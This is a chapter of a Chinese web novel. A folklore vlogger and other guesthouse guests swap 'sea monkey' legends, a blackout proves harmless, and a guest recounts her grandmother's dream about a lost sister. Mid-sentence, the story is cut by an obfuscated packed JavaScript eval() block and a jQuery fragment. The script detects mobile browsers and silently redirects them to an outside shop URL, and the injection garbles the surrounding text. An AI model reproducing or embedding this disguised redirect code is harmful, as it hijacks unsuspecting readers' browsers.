老猫被平台归为灵异博主,其实并不准确。她的视频,更多的是记录和分析各地的民俗异闻,她会采访当地人,听他们讲背后的故事,也会实地探访那些奇异之地。
一开始,她和同学阿鹏搭档,只是为了完成老师布置的田野调查作业,后来,她越做兴趣越浓厚,干脆在网上专门开了一个栏目,用科学的方法记录、分析和拆解那些有趣的故事。其实,她的视频并不吓人,一开始关注的人寥寥无几,但是在她拍了几期独自在鬼宅和荒坟睡觉后,一下子火了起来。
她和阿鹏这次出现在这里,属实是有原因的。
老猫神秘兮兮地凑近,压低声音:“你们知道,我和阿鹏为什么要住这家民宿吗?”
她这么一问,大家都咂摸点不同寻常的味道出来。
老猫作为全网胆子奇大的奇女子,最喜欢挑战网友口中那些恐怖的地方。她的意思是“听海小院”会发生一些不同寻常的事情?
看来这家民宿多少有点说法。
红钰缩起脖子,挽住了叶晓的胳膊,对着老猫抱怨:“你别吓我!”
老猫大大咧咧地笑笑:“咱们这么多人,怕什么!”
红钰环顾四周,陆泽安不愧是萧晔的兵,跟他一样寡言少语,有时候她都忽略了他们的存在。不过,真要发生什么事情,他俩肯定是最靠谱的。
宁叶嘉反而兴致勃勃地看向老猫,等着她往下说。
其实,老猫和阿鹏搜罗到的故事,跟红钰她们今天在电动自行车店听到的大差不差,无非就是遇见海猴子的那个倒霉蛋不一样。
听到老猫绘声绘色地描述海猴子的外形,红钰感觉自己又起了一身鸡皮疙瘩。
老猫正说着,啪嗒一声,大厅的灯忽然灭了。黑暗犹如化不开的浓墨,瞬间占据了整栋楼,和屋外的漆黑逐渐融为一体。
正在厨房洗碗的姚大姐慌忙走出来,拿出几个手电筒分发给众人:“真是不好意思,好像是保险丝烧断了,我这就去看看。”
“姐,我跟你一起去。”阿鹏主动请缨,他平时老看他爸爸干这些事,看多了,就会了。
“不用不用,很简单,哪能麻烦客人,我自己就能行。你们早点去休息吧,天色也不早了。”也不等阿鹏反应,姚大姐自己往后院走了。
职业敏感度驱使老猫打开了手机摄像头,月圆之夜,果然不会太平。
“你们听到什么声音了吗?”老猫举起手机,对准了窗外。
沙沙沙。这个有节奏的声音刺破宁静的夜空,一点点传到屋内。
所有人不约而同安静下来,屏住呼吸。
声音越来越近,几乎是刹那间,门口出现一个模糊的黑影,探头探脑往屋里瞧。
海猴子的传言不像是空穴来风。怕什么来什么,海猴子不会真的来了吧?红钰被吓得一个激灵,本能地抄起沙发上的抱枕扔了过去!
黑影“哎哟”一声叫了出来。
既然会怕疼,那就不是什么吓人的玩意儿。叶晓打开手电筒,照向黑影。
“妈?停电了吗?是我!”谭鸿文站在门口,用手挡住手电筒照来的强光,不敢往前迈步,生怕再飞来“横祸”。
唰,灯亮了!屋里又恢复了光亮。
姚大姐适时出现,打破了大厅诡异的氛围。“鸿文,你来了呀,来了就好,吃饭了吗?”
谭鸿文这才进屋来。
“我吃过了。妈,姚姚呢?”
姚大姐没有直接回答,而是把谭鸿文按在椅子上,给他泡了一杯茶:“你先坐会儿,我去叫她。”
这是叶晓第一次见到余姚的老公真容,之前只见过他的照片,真人与照片差不多,个子不高,眼睛细长,戴着一副镜片很厚的眼镜,看起来是个很精明的人。
说实话,听到余姚说要跟他结婚时,叶晓的第一反应是震惊。在她看来,余姚聪明漂亮,性格和审美都很好,而谭鸿文长相平平、工作平平、家世平平,偶尔还会听到余姚抱怨,两个人吵架,总是谭鸿文吵赢,一点儿不让着她。
奇妙的是,一开始余姚恰恰是被谭鸿文的能言善道所吸引。
叶晓打心眼里觉得余姚值得更好的,但是她只是余姚的上班搭子,不好明晃晃说出来这种不合时宜的话,即便说出来对方也不会听,反而会让她们之间产生隔阂。
更何况,清官难断家务事,感情上的事谁又能说得清楚呢?
叶晓很有分寸地选择闭嘴。
从现在的情形来看,这对新婚夫妇之间的状态很奇怪,约莫是吵架了,一个躲回娘家,一个追到这里求和。难怪余姚心情不好。
谭鸿文见众人看着他,迅速调整了状态,擦了擦脑门上的汗,一改先前的狼狈,摆出一副主人家的姿态:“我们这是不打不相识呀,也算缘分。大家来了我们旅馆,就当自己家里,吃好,玩好。”
他眼尖,发现只有宁叶嘉坐的位置距离大家比较远:“美女,一个人来的?”
宁叶嘉只礼貌笑笑。也不知这人是心大还是好面子,明显头顶一堆麻烦事,还有闲心在这跟人闲扯。
过了一会儿,姚大姐从余姚屋里出来,让谭鸿文进去,并且小声叮嘱:“你跟她好好聊聊,有什么事情就叫我。”
虽然余姚的房门关着,但是众人坐在公共区域依然能听到争吵声。
姚大姐望了望那扇门,眉头一皱再皱,最后忍不住跑过去敲门。姚大姐一进去,在大厅的几人就听不到声音传出来了。
红钰同样对宁叶嘉很好奇:“总感觉你不像是来玩的。”
“我来找人。”
宁叶嘉并不藏着掖着,直接拿出两张相片,一张泛黄的黑白相片,上面是一个扎两条麻花辫的年轻姑娘,穿着简单朴素的“列宁装”——上个世纪六七十年代的典型装束,中间系一根腰带,干练利索,精气神十足。另一张是彩色照片,明显是姑娘变老后的样子。
“这是我姨奶奶的照片,彩色那张是用AI合成,模拟她现在可能的样子。正好老猫在,你是专业的,也许能给我一些建议。”宁叶嘉目光灼灼地看向老猫,“你相信托梦吗?”
老猫眼里的好奇被最后一句话点亮,不过她不敢托大,谨慎道:“我算不上多专业,未必能给出建议,不过很想听听你的故事。”
红钰在一旁跟着点头,虽然跟她们要找的东西可能没关系,但是她最喜欢听故事了。
“我奶奶这两年身体不太好,老念叨着自己时日无多,想要见一见她心心念念的小妹。上个月,她怎么也不愿意住院了,说什么也要回家。一回家就支走其他人,把我叫到床前……”
宁叶嘉想起奶奶周晓凤,眼里不由自主泛起泪花,那天的场景依然历历在目。
她是奶奶带大的,跟奶奶感情很好,最听不得奶奶说“时日无多”这类的丧气话,每次都会生气地拦住奶奶的话头。她的奶奶当然会健健康康长命百岁。
这一次,她又想要反驳老人家的话时,却见奶奶神情郑重,颤颤巍巍从怀里掏出那张珍藏已久的相片,温柔地摩挲着相片上的人脸。
“小嘉,奶奶想求你一件事。”老人家的视线从相片上缓缓抬起,描摹着孙女的脸,其实小嘉的性格跟小妹很像,都是风风火火、敢想敢做的人,如果小妹还在,应该也会很喜欢小嘉的。如果小妹还在,应该也是满头华发了吧?
“奶奶,你跟我还说什么求不求的?你想要什么,我就给你买什么;你想做什么,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770194|209879||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就陪你做什么。”宁叶嘉拿起奶奶手中的照片,叹了口气,“如果还是找姨奶奶这件事……”
宁叶嘉没有往下说,她知道奶奶的心结,知道奶奶一直想要找回自己的小妹,可是,人海茫茫,去哪里找?
这几十年里,她奶奶从来没有放弃过,托各种人打听,登报寻人,甚至联系寻亲机构,无一不是石沉大海。她们一个普通家庭,人脉和资源有限,能做的事也很有限。
“我,我梦到她了。”奶奶那双苍老浑浊的眼睛里迸发出不一样的光芒,那光芒如流星一闪而过,给那张苍白的面容带来些许血色。
宁叶嘉欲言又止,奶奶不是第一次梦到这个最小的妹妹了。她小到大,听过很多次,奶奶经常梦到跟妹妹的小时候,经常跟她讲她们的故事。
在那个物资匮乏、生活条件艰苦的年代,父母下乡了,只留周晓凤一个懵懵懂懂的少女,照顾年岁尚小的妹妹晓岚。两人相依为命,同甘共苦。
那时候,邻居康家婶子负责帮她们领每月的口粮。康家婶子欺负两个女娃娃年龄小,总要克扣一些粮食。
周晓凤年纪小主意却大,很快发现了康家婶子的小动作。她没有声张,而是偷偷观察康家婶子的行踪,最后弄清楚了康家放粮食的地方。
等到康家婶子出门,她就溜进康家,从米缸里舀几杯米,用干净的丝袜偷偷带出来。这一天,姐妹俩终于饱餐一顿,那天的米饭尤其香甜。
康家婶子精得很,发现米缸里少了米,一下子就猜到是怎么回事。她不由分说就揪住周晓凤的耳朵,一通辱骂。小妹胆子也大,最见得别人欺负自家姐姐,照着康家婶子的手臂就狠狠咬下去,直咬得康家婶子哎哟哟求饶,再也不敢欺负两姐妹。
也许是日子太苦,所以一点点甜、一点点温暖都刻骨铭心。宁叶嘉很能理解奶奶想要找到妹妹的执念。日有所思,夜有所梦,奶奶梦见小妹只因为思念过甚。
奶奶看穿了她的心思,急忙解释:“这次不一样,跟以前那些梦不一样。不是小时候,我看到了成年以后的晓岚,她在一个崖洞里,头上的辫子已经散了,身上穿着离家那天穿的衣服,沾满泥土,她拉着我的手,一直在说‘姐,我好冷。姐,我好想回家。姐,接我回家好不好’……我能感受到她的那种痛苦,那种无助。晓岚是真的在向我求助。小嘉,奶奶年纪大了,已经走不动了,你能不能帮我做点什么?”
两行清泪从那张布满沟壑的脸上缓缓淌下,挂在干瘪的嘴角,迟迟没有滴落。
宁叶嘉心一软,答应了奶奶。可是等她冷静下来,又觉得自己在陪老人家胡闹。
如果姨奶奶还在世,已经年逾古稀,怎么还会是奶奶梦里那副年轻模样?而且,她只听说过鬼神托梦的说法,如果真是姨奶奶托梦,那她岂不是不在人世了?
宁叶嘉讲到此处时,有些黯然。
姚大姐听到几人的谈话,从厨房出来,在大厅里插上电蚊香,这个季节已经有蚊子了。她递给宁叶嘉一杯热牛奶:“有些事,没法用科学解释,也许你奶奶和她妹妹有某种心灵感应。”
她这一辈子起起伏伏,经了不少事,反倒愿意相信这些事情。
萧晔对气味敏感,闻到电蚊香的气味,眉峰微蹙。
老猫附和:“我之前也听过类似的故事,人在生病时,磁场会有改变,也许能感应到她心心念念之人的磁场。”
老猫这话说得比较委婉,因为她不想惹得宁叶嘉伤心。确切地说,人之将死,身边往往会出现一些科学无法解释的现象。
“关于她所在的地方,你姨奶奶还在梦里给出过什么提示吗?”叶晓敏锐地抓住了问题的关键,既然宁叶嘉寻到这里,一定是找到了某些线索。